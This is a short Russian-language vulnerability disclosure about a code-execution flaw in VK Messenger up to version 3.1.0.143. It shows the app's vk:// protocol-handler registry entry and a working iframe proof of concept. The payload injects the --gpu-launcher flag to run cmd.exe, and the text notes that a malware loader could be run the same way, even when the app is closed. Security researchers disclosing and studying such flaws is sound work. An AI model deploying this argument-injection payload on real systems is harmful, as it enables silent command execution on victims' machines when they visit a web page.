VKMessenger Code Execution Exploit
Уязвимость: исполнение кода из неправильно обработанной ссылки.
Затронутая версия: VK Messenger <= 3.1.0.143
VK Messenger регистрирует обработчик ссылок данным образом:
[HKEY_CLASSES_ROOT\vk]
"URL Protocol"=""
@="URL:vk"
[HKEY_CLASSES_ROOT\vk\shell]
[HKEY_CLASSES_ROOT\vk\shell\open]
[HKEY_CLASSES_ROOT\vk\shell\open\command]
@="\"C:\\Program Files\\VK\\vk.exe\" \"%1\""
Когда браузер обрабатывает ссылку с vk://
, появляется возможность вставки внешней команды в аргументы запуска vk.exe
. Приложение неправильно обрабатывает их, поэтому имеется возможность вставить парамметр –gpu-launcher=
чтобы исполнить внешнюю команду. Можно использовать –browser-subprocess-path=
для смены рабочей директории исполнения внешней команды. Можно использовать сетевые адреса.
Пример возможной атаки:
<iframe src='vk:?" --gpu-launcher="cmd.exe /c start calc" --'></iframe>
При декодировании закодированной строчки мы получаем
--gpu-launcher="cmd.exe /c start calc" --
Когда будет нажата ссылка, откроется окно с предложением запустить VKMessenger, а вместе с ним запущен процесс командной строки с вызовом калькулятора. Да, калькулятор - это не страшно, но ведь можно запустить что-то другое, вплоть до загрузчика вредоносного скрипта.
NOTE: Это сработает, даже если VKM выключен.
https://blogs.securiteam.com/index.php/archives/3674#more-3674